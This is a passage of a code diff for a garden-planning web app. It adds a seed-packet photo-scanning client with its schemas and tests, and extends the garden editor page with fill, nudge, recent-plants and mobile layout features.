const ids: number[] = []
for (const p of sorted) {
if (!seen.has(p.plantId)) {
seen.add(p.plantId)
ids.push(p.plantId)
}
}
return ids
}
/** Client-side mirror of the server's derived-count formula, for live display
* while resizing a plop (before the PATCH round-trips). max(1, round(π·r² /
* spacing²)), capped like the server. */
+1 -1
View File
@@ -61,7 +61,7 @@ export function filterPlants(plants: Plant[], query: string, category: CategoryF
)
}
const plantsKey = ['plants'] as const
export const plantsKey = ['plants'] as const
export const plantsQueryOptions = queryOptions({
queryKey: plantsKey,
+1 -1
View File
@@ -46,7 +46,7 @@ export const seedLotSchema = z.object({
})
export type SeedLot = z.infer<typeof seedLotSchema>
const seedLotsKey = ['seed-lots'] as const
export const seedLotsKey = ['seed-lots'] as const
export function useSeedLots() {
return useQuery({
+120
View File
@@ -0,0 +1,120 @@
import { describe, expect, it } from 'vitest'
import {
lotDefaults,
newPlantDefaults,
packetProposalSchema,
seedPacketSchema,
PACKET_PLANT_COLOR,
PACKET_PLANT_ICON,
} from './seedPacket'
// A full proposal as the backend sends it, for the schema + prefill tests.
const proposal = {
packet: {
species: 'garlic',
variety: 'Music',
category: 'vegetable',
vendor: "Johnny's",
sku: 'G-123',
lotCode: 'L9',
packedForYear: 2026,
daysToMaturity: 90,
spacingCm: 15,
seedCount: 12,
},
candidates: [
{
plant: {
id: 7,
name: 'Music',
category: 'vegetable',
spacingCm: 15,
color: '#fff',
icon: '🧄',
notes: '',
version: 1,
createdAt: '2026-01-01T00:00:00Z',
updatedAt: '2026-01-01T00:00:00Z',
},
reason: 'exact name',
},
],
suggestedName: 'Music',
suggestedCategory: 'vegetable',
}
describe('seedPacketSchema', () => {
it('fills defaults for a sparse packet (only what was printed)', () => {
// A packet where the model only read a species — everything else absent.
const p = seedPacketSchema.parse({ species: 'basil' })
expect(p.species).toBe('basil')
expect(p.variety).toBe('')
expect(p.spacingCm).toBeNull()
expect(p.seedCount).toBeNull()
expect(p.packedForYear).toBeNull()
})
})
describe('packetProposalSchema', () => {
it('parses a full proposal including candidates', () => {
const p = packetProposalSchema.parse(proposal)
expect(p.candidates).toHaveLength(1)
expect(p.candidates[0].plant.id).toBe(7)
expect(p.candidates[0].reason).toBe('exact name')
expect(p.suggestedName).toBe('Music')
})
it('defaults candidates to empty when absent', () => {
const p = packetProposalSchema.parse({ packet: { species: 'kale' } })
expect(p.candidates).toEqual([])
expect(p.suggestedName).toBe('')
})
})
describe('newPlantDefaults', () => {
it('prefills name/category/spacing/days/vendor from the proposal', () => {
const np = newPlantDefaults(packetProposalSchema.parse(proposal))
expect(np.name).toBe('Music')
expect(np.category).toBe('vegetable')
expect(np.spacingCm).toBe(15)
expect(np.daysToMaturity).toBe(90)
expect(np.vendor).toBe("Johnny's")
// No icon/color on a packet — placeholders the user can change later.
expect(np.icon).toBe(PACKET_PLANT_ICON)
expect(np.color).toBe(PACKET_PLANT_COLOR)
})
it('falls back to a safe category and default spacing when the packet lacks them', () => {
const np = newPlantDefaults(
packetProposalSchema.parse({
packet: { species: 'mystery' },
suggestedName: 'mystery',
suggestedCategory: 'not-a-real-category',
}),
)
// An unknown category must not leak through — CreatePlant would reject it.
expect(np.category).toBe('vegetable')
// No printed spacing → the same default the manual form uses.
expect(np.spacingCm).toBe(30)
expect(np.daysToMaturity).toBeNull()
})
})
describe('lotDefaults', () => {
it('reads a seed count as "<n> seeds"', () => {
const lot = lotDefaults(seedPacketSchema.parse(proposal.packet))
expect(lot.quantity).toBe(12)
expect(lot.unit).toBe('seeds')
expect(lot.vendor).toBe("Johnny's")
expect(lot.sku).toBe('G-123')
expect(lot.lotCode).toBe('L9')
expect(lot.packedForYear).toBe(2026)
})
it('defaults to one packet when no seed count is printed', () => {
const lot = lotDefaults(seedPacketSchema.parse({ species: 'basil' }))
expect(lot.quantity).toBe(1)
expect(lot.unit).toBe('packets')
expect(lot.packedForYear).toBeNull()
})
})
+149
View File
@@ -0,0 +1,149 @@
// Seed-packet capture client (#81/#102). Two steps, deliberately separate — the
// same shape the backend enforces:
// POST /seed-lots/scan a packet photo → a PacketProposal (reads only)
// POST /seed-lots/from-packet a confirmed proposal → a plant + a seed lot
// The scan never writes; a misread can't add anything to the catalog on its own.
// Creation happens only from an explicit confirm, with exactly one of an existing
// plant (plantId) or a new variety (newPlant).
import { useMutation, useQueryClient } from '@tanstack/react-query'
import { z } from 'zod'
import { api } from './api'
import { PLANT_CATEGORIES, plantSchema, plantsKey, type PlantCategory, type PlantInput } from './plants'
import { seedLotSchema, seedLotsKey, type LotUnit, type SeedLotInput } from './seedLots'
// SeedPacket mirrors internal/vision.SeedPacket: the fields read off a packet.
// Every field can be empty or null because the model fills only what's actually
// printed — so each has a default and nothing here is required.
export const seedPacketSchema = z.object({
species: z.string().default(''),
variety: z.string().default(''),
category: z.string().default(''),
vendor: z.string().default(''),
sku: z.string().default(''),
lotCode: z.string().default(''),
packedForYear: z.number().nullable().default(null),
daysToMaturity: z.number().nullable().default(null),
spacingCm: z.number().nullable().default(null),
seedCount: z.number().nullable().default(null),
})
export type SeedPacket = z.infer<typeof seedPacketSchema>
// A candidate existing plant the packet might already be, with why it matched so
// the UI can show the reason next to it.
export const packetMatchSchema = z.object({ plant: plantSchema, reason: z.string() })
export type PacketMatch = z.infer<typeof packetMatchSchema>
// What a scan returns: the read fields, the candidate existing plants (best
// first; empty means "probably new"), and prefill hints for a new variety.
export const packetProposalSchema = z.object({
packet: seedPacketSchema,
candidates: z.array(packetMatchSchema).default([]),
suggestedName: z.string().default(''),
suggestedCategory: z.string().default(''),
})
export type PacketProposal = z.infer<typeof packetProposalSchema>
// What a confirm produced: the plant (new or matched) and the created lot.
export const packetResultSchema = z.object({
plant: plantSchema,
lot: seedLotSchema,
plantIsNew: z.boolean(),
})
export type PacketResult = z.infer<typeof packetResultSchema>
// The lot half of a confirm carries no plantId — the plant comes from the
// plantId/newPlant choice, and the server attributes the lot to it.
export type SeedLotFields = Omit<SeedLotInput, 'plantId'>
// A confirmed proposal: exactly one of plantId (attach to an existing plant) or
// newPlant (create a variety), plus the lot to record.
export interface FromPacketBody {
plantId?: number
newPlant?: PlantInput
lot: SeedLotFields
}
/** Scan a packet photo into a proposal. Multipart upload; the vision call can
* take several seconds (the server extends its deadline to 120s), so a `signal`
* can be threaded through to abort a slow/hung scan — the caller wires it to a
* Cancel button so the dialog is never a trap. Not cached — every photo is a
* fresh one-shot. */
export function useScanPacket() {
return useMutation({
mutationFn: async ({ file, signal }: { file: File; signal?: AbortSignal }): Promise<PacketProposal> => {
const form = new FormData()
form.append('image', file)
return packetProposalSchema.parse(await api.postForm('/seed-lots/scan', form, { signal }))
},
})
}
/** Confirm a proposal into a plant + lot. Invalidates both catalogs the new rows
* show up in. */
export function useCreateFromPacket() {
const qc = useQueryClient()
return useMutation({
mutationFn: async (body: FromPacketBody): Promise<PacketResult> =>
packetResultSchema.parse(await api.post('/seed-lots/from-packet', body)),
onSuccess: () => {
void qc.invalidateQueries({ queryKey: plantsKey })
void qc.invalidateQueries({ queryKey: seedLotsKey })
},
})
}
// A packet has no icon or color, so a new variety created from one gets these
// placeholders; the user can set a real icon/color later from the plant card.
export const PACKET_PLANT_COLOR = '#4a7c3f'
export const PACKET_PLANT_ICON = '🌱'
// A packet without a printed spacing falls back to this (cm) — the same default
// the manual new-plant form uses.
const DEFAULT_SPACING_CM = 30
function isPlantCategory(c: string): c is PlantCategory {
return (PLANT_CATEGORIES as readonly string[]).includes(c)
}
/**
* Prefill a new-variety form from a proposal. Name and category come from the
* proposal's suggestions (already validated server-side against the known
* categories, but re-checked here); spacing/days/vendor come off the packet.
* Color and icon aren't on a packet, so they take the placeholders above.
*/
export function newPlantDefaults(p: PacketProposal): PlantInput {
return {
name: p.suggestedName,
category: isPlantCategory(p.suggestedCategory) ? p.suggestedCategory : 'vegetable',
spacingCm: p.packet.spacingCm ?? DEFAULT_SPACING_CM,
color: PACKET_PLANT_COLOR,
icon: PACKET_PLANT_ICON,
daysToMaturity: p.packet.daysToMaturity,
sourceUrl: '',
vendor: p.packet.vendor,
notes: '',
}
}
/**
* Prefill the lot fields from the packet. A printed seed count reads naturally as
* "<n> seeds"; without one, default to a single packet — the thing you physically
* bought — which the user can correct.
*/
export function lotDefaults(p: SeedPacket): SeedLotFields {
const hasCount = p.seedCount != null && p.seedCount > 0
const unit: LotUnit = hasCount ? 'seeds' : 'packets'
return {
vendor: p.vendor,
sourceUrl: '',
sku: p.sku,
lotCode: p.lotCode,
purchasedAt: null,
packedForYear: p.packedForYear,
quantity: hasCount ? (p.seedCount as number) : 1,
unit,
costCents: null,
germinationPct: null,
notes: '',
}
}
+273 -69
View File
@@ -1,5 +1,5 @@
import { useEffect, useMemo, useRef, useState } from 'react'
import { getRouteApi } from '@tanstack/react-router'
import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
import { Link, getRouteApi } from '@tanstack/react-router'
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { GardenCanvas } from '@/editor/GardenCanvas'
@@ -12,25 +12,31 @@ import { PlopInspector } from '@/editor/PlopInspector'
import { PlantPicker } from '@/editor/PlantPicker'
import { Palette } from '@/editor/Palette'
import { SeedTray } from '@/editor/SeedTray'
import { RecentPlants } from '@/editor/RecentPlants'
import { ScanPacketModal } from '@/components/plants/ScanPacketModal'
import { ClearBedModal } from '@/editor/ClearBedModal'
import { EditorHint } from '@/editor/EditorHint'
import { SeasonBanner, SeasonPicker } from '@/editor/SeasonPicker'
import { objectDisplayName } from '@/editor/kinds'
import { useEditorStore, type EditorMode } from '@/editor/store'
import { isCoarsePointer } from '@/editor/shared'
import { cn } from '@/lib/cn'
import type { EditorGarden } from '@/editor/types'
import { ShareGardenModal } from '@/components/gardens/ShareGardenModal'
import { AccountMenu } from '@/components/layout/AppShell'
import { useMe } from '@/lib/auth'
import {
toEditorObject,
useEnsurePlantInFull,
useFillObject,
useGardenFull,
useGardenSeason,
useGardenYears,
useUpdateObject,
useUpdatePlanting,
type FillLayout,
} from '@/lib/objects'
import { toEditorPlanting } from '@/lib/plantings'
import { recentlyPlantedIds, toEditorPlanting } from '@/lib/plantings'
import type { Plant } from '@/lib/plants'
import { useCapabilities } from '@/lib/agent'
import { useJournalCounts } from '@/lib/journal'
@@ -42,6 +48,10 @@ import { ApiError } from '@/lib/api'
const routeApi = getRouteApi('/gardens/$gardenId')
// How many recently-planted chips the Plants-mode quick strip shows — a working
// set, not the whole history; the picker covers the long tail.
const RECENT_PLANTS_MAX = 8
export function GardenEditorPage() {
const { gardenId } = routeApi.useParams()
const gid = Number(gardenId)
@@ -76,6 +86,8 @@ export function GardenEditorPage() {
const setRailTab = useEditorStore((s) => s.setRailTab)
const journalObjectId = useEditorStore((s) => s.journalObjectId)
const setJournalObjectId = useEditorStore((s) => s.setJournalObjectId)
const journalPlantingId = useEditorStore((s) => s.journalPlantingId)
const setJournalPlantingId = useEditorStore((s) => s.setJournalPlantingId)
const journalCounts = useJournalCounts(gid)
const capabilities = useCapabilities()
const journalTotal = useMemo(
@@ -88,6 +100,7 @@ export function GardenEditorPage() {
const setMode = useEditorStore((s) => s.setMode)
const updatePlanting = useUpdatePlanting(gid)
const fillObject = useFillObject(gid)
const updateObject = useUpdateObject(gid)
const ensurePlant = useEnsurePlantInFull(gid)
const { trayPlants, add: addToTray, remove: removeFromTray } = useSeedTray(gid)
@@ -99,6 +112,10 @@ export function GardenEditorPage() {
const [picker, setPicker] = useState<'place' | 'change' | null>(null)
const [sharing, setSharing] = useState(false)
const [clearing, setClearing] = useState(false)
const [scanning, setScanning] = useState(false)
// Whether to offer packet scanning — a vision model is configured. Read once
// here so all three Plants-mode entry points gate identically.
const canScan = !!capabilities.data?.vision
const nudgeTimer = useRef<number | null>(null)
const nudgeFire = useRef<(() => void) | null>(null)
@@ -109,6 +126,17 @@ export function GardenEditorPage() {
const plants = useMemo(() => full.data?.plants ?? [], [full.data?.plants])
const plantsById = useMemo(() => new Map(plants.map((p) => [p.id, p])), [plants])
// Plants recently placed in THIS garden, newest first (#100) — the quick strip
// in Plants mode, so re-planting "more of the same" doesn't need the picker.
const recentPlants = useMemo(
() =>
recentlyPlantedIds(plantings)
.slice(0, RECENT_PLANTS_MAX)
.map((id) => plantsById.get(id))
.filter((p): p is Plant => !!p),
[plantings, plantsById],
)
// Role gating, computed before the effects/returns so the nudge handler can use
// it. Ownership is the authoritative ownerId==me check.
const gd = full.data?.garden
@@ -206,17 +234,25 @@ export function GardenEditorPage() {
}
}, [selectedId, selectedPlantingId, setRailTab, setMode])
const exitFocus = () => {
setFocusedObject(null)
setArmedPlant(null)
// Clearing the selection also closes the inspector via the selection effect
// above; shared by exitFocus, the mode bar, and the rail's close so the
// deselect logic lives in one place.
const clearSelection = () => {
select(null)
selectPlanting(null)
}
// The mobile mode bar. Journal/Assistant are panel modes, so they open the
// rail sheet; Fixtures/Plants are canvas modes, so they close a panel rail (but
// leave an inspector, which is about the selection, alone). Tapping Fixtures
// means going back to arranging objects, so it steps out of a focused bed.
const exitFocus = () => {
setFocusedObject(null)
setArmedPlant(null)
clearSelection()
}
// The mobile mode bar. Journal/Assistant are panel modes, so they open the rail
// as a peek; Fixtures/Plants are canvas modes — a fresh intent — so they close
// whatever's in the rail AND drop any lingering selection (which the canvas
// would otherwise keep highlighted, e.g. after routing a selection through
// Journal and back). Fixtures also steps out of a focused bed.
const selectMode = (m: EditorMode) => {
setMode(m)
if (m === 'journal') {
@@ -225,7 +261,8 @@ export function GardenEditorPage() {
} else if (m === 'assistant') {
setRailTab('chat')
} else {
if (railTab === 'journal' || railTab === 'chat') setRailTab(null)
clearSelection()
setRailTab(null)
if (m === 'fixtures' && focusedObjectId != null) exitFocus()
}
}
@@ -255,21 +292,17 @@ export function GardenEditorPage() {
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [])
// Desktop keyboard nudging: arrows move the selected object/plop 1cm (Shift =
// 10cm); the PATCH is debounced ~400ms on key-idle so a held key doesn't spam.
// Plops nudge in their object's local frame and clamp to its (local) bounds.
// Mounted once, reading live values from nudgeCtx so a data refetch can't
// re-subscribe and cancel a pending commit; the pending commit is flushed on
// unmount, and a fire only commits if its live value is still present (a drag
// that cleared it already committed its own PATCH).
useEffect(() => {
const DIRS: Record<string, [number, number]> = {
ArrowUp: [0, -1],
ArrowDown: [0, 1],
ArrowLeft: [-1, 0],
ArrowRight: [1, 0],
}
const commitLater = (fire: () => void) => {
// Move the selected object/plop by (dx, dy) cm: apply live geometry instantly,
// then commit ONE debounced PATCH so a burst of nudges (a held arrow key, or
// repeated taps of the touch pad) doesn't spam the server. Plops clamp to their
// object's local bounds. Reads live values from getState/nudgeCtx so it's
// correct whichever surface calls it; a commit only fires if its live value is
// still present (a drag that cleared it already committed its own PATCH).
// Stable across renders (empty deps): both read live values through refs
// (nudgeCtx) / getState, never through closed-over props, so a mount-once
// consumer (the keydown effect) and a memo-friendly one (NudgePad) both get a
// function that stays current without a new identity each render.
const commitLater = useCallback((fire: () => void) => {
nudgeFire.current = fire
if (nudgeTimer.current != null) window.clearTimeout(nudgeTimer.current)
nudgeTimer.current = window.setTimeout(() => {
@@ -278,26 +311,21 @@ export function GardenEditorPage() {
nudgeFire.current = null
fn?.()
}, 400)
}
function onKey(e: KeyboardEvent) {
}, [])
const nudgeSelected = useCallback((dx: number, dy: number) => {
const { canEdit: canNudge, objects: objs, plantings: plops, updateObject: uo, updatePlanting: up } =
nudgeCtx.current
if (!canNudge) return
const dir = DIRS[e.key]
if (!dir) return
const el = document.activeElement
if (el && (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA' || el.tagName === 'SELECT')) return
const s = useEditorStore.getState()
if (s.objectDragging) return // don't fight an active pointer drag
const step = e.shiftKey ? 10 : 1
if (s.selectedId != null) {
const base = s.liveObject?.id === s.selectedId ? s.liveObject : objs.find((o) => o.id === s.selectedId)
if (!base) return
e.preventDefault()
s.setLiveObject({ ...base, xCm: base.xCm + dir[0] * step, yCm: base.yCm + dir[1] * step })
s.setLiveObject({ ...base, xCm: base.xCm + dx, yCm: base.yCm + dy })
commitLater(() => {
const live = useEditorStore.getState().liveObject
if (live?.id !== s.selectedId) return // a drag cleared it and committed
if (live?.id !== s.selectedId) return
uo.mutate({ id: live.id, version: live.version, xCm: live.xCm, yCm: live.yCm })
useEditorStore.getState().setLiveObject(null)
})
@@ -305,10 +333,9 @@ export function GardenEditorPage() {
const base =
s.livePlanting?.id === s.selectedPlantingId ? s.livePlanting : plops.find((p) => p.id === s.selectedPlantingId)
if (!base) return
e.preventDefault()
const obj = objs.find((o) => o.id === base.objectId)
let nx = base.xCm + dir[0] * step
let ny = base.yCm + dir[1] * step
let nx = base.xCm + dx
let ny = base.yCm + dy
if (obj) {
nx = Math.max(-obj.widthCm / 2, Math.min(obj.widthCm / 2, nx))
ny = Math.max(-obj.heightCm / 2, Math.min(obj.heightCm / 2, ny))
@@ -321,6 +348,28 @@ export function GardenEditorPage() {
useEditorStore.getState().setLivePlanting(null)
})
}
}, [commitLater])
// Keyboard nudging (desktop): arrows move the selection 1cm, Shift = 10cm — the
// same nudgeSelected the touch pad uses. Mounted once; a pending commit is
// flushed on unmount so a nudge in flight isn't lost.
useEffect(() => {
const DIRS: Record<string, [number, number]> = {
ArrowUp: [0, -1],
ArrowDown: [0, 1],
ArrowLeft: [-1, 0],
ArrowRight: [1, 0],
}
function onKey(e: KeyboardEvent) {
const dir = DIRS[e.key]
if (!dir) return
const el = document.activeElement
if (el && (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA' || el.tagName === 'SELECT')) return
const s = useEditorStore.getState()
if (s.selectedId == null && s.selectedPlantingId == null) return
e.preventDefault()
const step = e.shiftKey ? 10 : 1
nudgeSelected(dir[0] * step, dir[1] * step)
}
window.addEventListener('keydown', onKey)
return () => {
@@ -393,6 +442,14 @@ export function GardenEditorPage() {
if (armedPlant?.id === id) setArmedPlant(null)
}
// Fill the whole focused bed with the armed plant at the chosen layout (#100 /
// #77) — the UI's way to run the region fill that was agent-only before. Guards
// are belt-and-braces: the control only shows with a plant armed in a bed.
function fillBed(layout: FillLayout) {
if (!canEdit || focusedObject == null || armedPlant == null) return
fillObject.mutate({ objectId: focusedObject.id, plantId: armedPlant.id, layout })
}
// The picker hands back the full Plant (from the whole catalog), so use it
// directly rather than re-resolving against the garden's referenced-plant map —
// a not-yet-placed plant isn't in that map, which used to silently abort the
@@ -447,6 +504,13 @@ export function GardenEditorPage() {
readOnly={!canEdit}
onChangePlant={() => setPicker('change')}
onClose={() => selectPlanting(null)}
onAddNote={() => {
// Parity with the bed inspector: scope the journal to this plop and
// open it. The plop stays selected, so the selection effect keeps the
// inspector reachable when you switch back.
setJournalPlantingId(selectedPlop.id)
setRailTab('journal')
}}
/>
) : (
<p className="text-sm text-muted">Select a bed or a planting to edit it.</p>
@@ -467,6 +531,8 @@ export function GardenEditorPage() {
objects={objects}
scopeObjectId={journalObjectId}
onScopeChange={setJournalObjectId}
scopePlantingId={journalPlantingId}
onScopePlantingChange={setJournalPlantingId}
/>
),
},
@@ -490,8 +556,13 @@ export function GardenEditorPage() {
// 100dvh, not 100vh: on mobile Safari/Chrome 100vh is the *largest* viewport
// (URL bar hidden), so with the bar showing the editor overflowed and pushed
// the canvas bottom + Fit button under the browser chrome (#85).
//
// The subtracted band differs by breakpoint because the chrome does. On mobile
// the global top bar is hidden here (AppShell), so the only thing outside the
// editor is <main>'s py-6 — 3rem, top + bottom. On desktop the header is
// present, so keep the original 8rem.
return (
<div className="flex h-[calc(100dvh-8rem)] flex-col gap-3 md:flex-row">
<div className="flex h-[calc(100dvh-3rem)] flex-col gap-3 md:h-[calc(100dvh-8rem)] md:flex-row">
{/* Desktop-only control column. On mobile these move to the bottom mode bar
+ a slim top strip so the canvas — the point of the screen — isn't shoved
into a corner by a stack of controls (#99). */}
@@ -543,8 +614,17 @@ export function GardenEditorPage() {
<div className="relative flex min-h-0 flex-1 flex-col gap-2">
{/* Mobile top strip: the garden identity / season / share that live in the
desktop left column. md:hidden. */}
desktop left column, plus the way out. The global header is hidden on
mobile here (AppShell), so this leaf is the only route back to the
gardens list — it can't be dropped. md:hidden. */}
<div className="flex items-center gap-2 md:hidden">
<Link
to="/gardens"
aria-label="All gardens"
className="-ml-1 shrink-0 rounded-md px-1.5 py-1 text-lg leading-none text-accent-strong outline-none focus-visible:ring-2 focus-visible:ring-accent/40"
>
🌱
</Link>
<h1 className="min-w-0 flex-1 truncate text-base font-semibold tracking-tight" title={garden.name}>
{garden.name}
</h1>
@@ -559,6 +639,10 @@ export function GardenEditorPage() {
Share
</Button>
)}
{/* The global header (and its account menu) is hidden on mobile in the
editor, so carry sign-out here — otherwise it's unreachable without
leaving the garden. */}
{me.data && <AccountMenu displayName={me.data.displayName} />}
</div>
{seasonYear !== null && <SeasonBanner year={seasonYear} onExit={() => setSeasonYear(null)} />}
{/* Focus toolbar is desktop-only; on mobile its plant tools move to the
@@ -572,6 +656,7 @@ export function GardenEditorPage() {
{canEdit &&
(focusedObject.plantable ? (
<PlantPlacementTools
recentPlants={recentPlants}
trayPlants={trayPlants}
armedPlant={armedPlant}
onArm={armPlant}
@@ -580,6 +665,10 @@ export function GardenEditorPage() {
onDisarm={() => setArmedPlant(null)}
focusedPlopCount={focusedPlops.length}
onClear={() => setClearing(true)}
onFill={fillBed}
filling={fillObject.isPending}
canScan={canScan}
onScan={() => setScanning(true)}
/>
) : (
<span className="text-xs text-muted">Not plantable</span>
@@ -588,6 +677,13 @@ export function GardenEditorPage() {
)}
<div className="relative min-h-0 flex-1">
<GardenCanvas garden={garden} objects={objects} plantings={plantings} plantsById={plantsById} canEdit={canEdit} />
{/* Touch fine-positioning: the keyboard's arrow-nudge has no equivalent
on a touch device, and dragging can't hit single-cm precision. Shown
on a coarse pointer (same signal as the bigger handles) while
something's selected (#104). */}
{canEdit && isCoarsePointer && (selectedId != null || selectedPlantingId != null) && (
<NudgePad onNudge={nudgeSelected} />
)}
</div>
{/* Empty-state hints (non-interactive overlays). */}
@@ -599,11 +695,39 @@ export function GardenEditorPage() {
)}
</div>
{/* Mobile bottom: contextual tools for the current mode + the mode switch
bar (#99). md:hidden — desktop uses the left column. A panel-mode rail
(journal/assistant) or the inspector overlays this while open. */}
{/* The rail sits between the canvas and the mode bar. On mobile it's an
in-flow PEEK (≤50vh), so the garden stays visible above it and the mode
bar below (see EditorRail); on desktop it's the right-hand column. */}
{railTab && (
<EditorRail
tabs={railTabs}
activeId={railTab}
onActivate={setRailTab}
// Panel modes want the room; the inspector stays a shorter peek (see the
// `tall` prop doc).
tall={railTab !== 'inspector'}
onClose={() => {
// Only the inspector is *about* the selection, so only closing it
// deselects; dismissing a panel leaves the canvas as you had it. Any
// panel rail (journal/history/chat) drops back to a canvas mode.
if (railTab === 'inspector') {
clearSelection()
} else {
// Back to a canvas mode — Plants if you're still inside a bed, else
// Fixtures. (Hardcoding Fixtures here docked the object palette inside
// a focused bed.)
setMode(focusedObjectId != null ? 'plants' : 'fixtures')
}
setRailTab(null)
}}
/>
)}
{/* Mobile bottom: contextual tools for the current canvas mode + the
always-visible mode switch bar (#99/#101). md:hidden — desktop uses the
left column. The tool strip yields to a rail peek when one is open. */}
<div className="shrink-0 md:hidden">
{canEdit && (mode === 'fixtures' || mode === 'plants') && (
{canEdit && !railTab && (mode === 'fixtures' || mode === 'plants') && (
<div className="mb-2 min-h-[2.25rem]">
{mode === 'fixtures' && <Palette />}
{mode === 'plants' &&
@@ -611,6 +735,7 @@ export function GardenEditorPage() {
focusedObject.plantable ? (
<div className="flex flex-wrap items-center gap-2">
<PlantPlacementTools
recentPlants={recentPlants}
trayPlants={trayPlants}
armedPlant={armedPlant}
onArm={armPlant}
@@ -619,6 +744,10 @@ export function GardenEditorPage() {
onDisarm={() => setArmedPlant(null)}
focusedPlopCount={focusedPlops.length}
onClear={() => setClearing(true)}
onFill={fillBed}
filling={fillObject.isPending}
canScan={!!capabilities.data?.vision}
onScan={() => setScanning(true)}
/>
<Button variant="ghost" className="ml-auto px-2 py-1 text-xs" onClick={exitFocus}>
Done planting
@@ -637,37 +766,24 @@ export function GardenEditorPage() {
</div>
)
) : (
<div className="flex items-center gap-2">
<p className="px-1 text-xs text-muted">Tap a bed, then 🌱 Plant here to start planting.</p>
{canScan && (
<Button
variant="ghost"
className="ml-auto px-2 py-1 text-xs"
onClick={() => setScanning(true)}
>
📷 Scan packet
</Button>
)}
</div>
))}
</div>
)}
<ModeBar mode={mode} onSelect={selectMode} hasAssistant={!!capabilities.data?.agent} canEdit={canEdit} />
</div>
{railTab && (
<EditorRail
tabs={railTabs}
activeId={railTab}
onActivate={setRailTab}
onClose={() => {
// Only the inspector is *about* the selection, so only closing it
// deselects; dismissing a panel leaves the canvas as you had it. Any
// panel rail (journal/history/chat) drops back to a canvas mode so the
// mobile mode bar reappears.
if (railTab === 'inspector') {
select(null)
selectPlanting(null)
} else {
// Back to a canvas mode so the mode bar reappears — Plants if you're
// still inside a bed, else Fixtures. (Hardcoding Fixtures here docked
// the object palette inside a focused bed.)
setMode(focusedObjectId != null ? 'plants' : 'fixtures')
}
setRailTab(null)
}}
/>
)}
{picker && (
<PlantPicker
unit={garden.unitPref}
@@ -678,6 +794,8 @@ export function GardenEditorPage() {
{sharing && <ShareGardenModal garden={g} onClose={() => setSharing(false)} />}
{scanning && <ScanPacketModal unit={garden.unitPref} onClose={() => setScanning(false)} />}
{clearing && focusedObject && (
<ClearBedModal
objectId={focusedObject.id}
@@ -694,6 +812,7 @@ export function GardenEditorPage() {
// The plant-placement cluster (seed tray + Done + Clear), shared by the desktop
// focus toolbar and the mobile Plants strip so the two can't drift apart.
function PlantPlacementTools({
recentPlants,
trayPlants,
armedPlant,
onArm,
@@ -702,7 +821,12 @@ function PlantPlacementTools({
onDisarm,
focusedPlopCount,
onClear,
onFill,
filling,
canScan,
onScan,
}: {
recentPlants: Plant[]
trayPlants: Plant[]
armedPlant: Plant | null
onArm: (p: Plant, lot?: SeedLot) => void
@@ -711,9 +835,16 @@ function PlantPlacementTools({
onDisarm: () => void
focusedPlopCount: number
onClear: () => void
onFill: (layout: FillLayout) => void
filling: boolean
// Scanning a packet adds a variety to the catalog mid-planting; only offered
// where a vision model is configured.
canScan: boolean
onScan: () => void
}) {
return (
<>
<RecentPlants plants={recentPlants} armedPlantId={armedPlant?.id ?? null} onArm={onArm} />
<SeedTray
trayPlants={trayPlants}
armedPlantId={armedPlant?.id ?? null}
@@ -721,6 +852,12 @@ function PlantPlacementTools({
onRemove={onRemove}
onOpenPicker={onOpenPicker}
/>
{canScan && (
<Button variant="ghost" className="px-2 py-1 text-xs" onClick={onScan}>
📷 Scan packet
</Button>
)}
{armedPlant && <FillControl onFill={onFill} busy={filling} />}
{armedPlant && (
<Button variant="ghost" className="px-2 py-1 text-xs" onClick={onDisarm}>
Done
@@ -739,6 +876,73 @@ function PlantPlacementTools({
)
}
// The fill control (#100 / #77): choose a layout, then fill the whole bed with
// the armed plant. Clump packs fat blobs for a quick sketch; grid lays out
// individual plants in rows you could actually plant from. Defaults to grid,
// since "fill this bed" usually means a real planting.
function FillControl({ onFill, busy }: { onFill: (layout: FillLayout) => void; busy: boolean }) {
const [layout, setLayout] = useState<FillLayout>('grid')
return (
<span className="inline-flex items-center gap-1 rounded-full border border-border bg-surface px-1 py-0.5 text-xs">
<span className="inline-flex overflow-hidden rounded-full">
{(['clump', 'grid'] as const).map((l) => (
<button
key={l}
type="button"
aria-pressed={layout === l}
onClick={() => setLayout(l)}
title={l === 'clump' ? 'Fat clumps — a quick sketch' : 'Rows of plants you could plant from'}
className={cn(
'px-2 py-0.5 font-medium capitalize transition-colors',
layout === l ? 'bg-border/70 text-accent-strong' : 'text-muted hover:text-fg',
)}
>
{l === 'grid' ? 'rows' : l}
</button>
))}
</span>
<Button variant="ghost" className="px-2 py-0.5 text-xs" disabled={busy} onClick={() => onFill(layout)}>
{busy ? 'Filling…' : 'Fill bed'}
</Button>
</span>
)
}
// On-screen nudge pad (#104): 1cm arrows for the selected object/plop on a touch
// device, where the keyboard's arrow-nudge isn't reachable and a drag can't hit
// single-cm precision. Rendered only on a coarse pointer (the caller gates it).
// Wired to the same nudgeSelected, so it shares the live-then-debounced-PATCH.
function NudgePad({ onNudge }: { onNudge: (dx: number, dy: number) => void }) {
const btn =
'flex size-10 items-center justify-center rounded-md border border-border bg-surface/90 text-fg ' +
'shadow-sm outline-none backdrop-blur transition-colors active:bg-border/70 focus-visible:ring-2 focus-visible:ring-accent/40'
return (
<div
role="group"
aria-label="Nudge selection by 1cm"
className="absolute bottom-2 left-2 z-20 grid grid-cols-3 grid-rows-3 gap-0.5"
>
<span />
<button type="button" className={btn} aria-label="Nudge up" onClick={() => onNudge(0, -1)}>
</button>
<span />
<button type="button" className={btn} aria-label="Nudge left" onClick={() => onNudge(-1, 0)}>
</button>
<span className="flex size-10 items-center justify-center text-[0.6rem] font-medium text-muted">1cm</span>
<button type="button" className={btn} aria-label="Nudge right" onClick={() => onNudge(1, 0)}>
</button>
<span />
<button type="button" className={btn} aria-label="Nudge down" onClick={() => onNudge(0, 1)}>
</button>
<span />
</div>
)
}
// The mobile primary mode switch (#99): one always-there tab bar so "placing
// beds", "planting", "journaling" and "assistant" stop competing for the same
// strip. Assistant is dropped when the instance has no model configured.
+12
View File
@@ -9,7 +9,9 @@ import { PlantFormModal } from '@/components/plants/PlantFormModal'
import { DeletePlantModal } from '@/components/plants/DeletePlantModal'
import { SeedLotModal } from '@/components/plants/SeedLotModal'
import { DeleteSeedLotModal } from '@/components/plants/DeleteSeedLotModal'
import { ScanPacketModal } from '@/components/plants/ScanPacketModal'
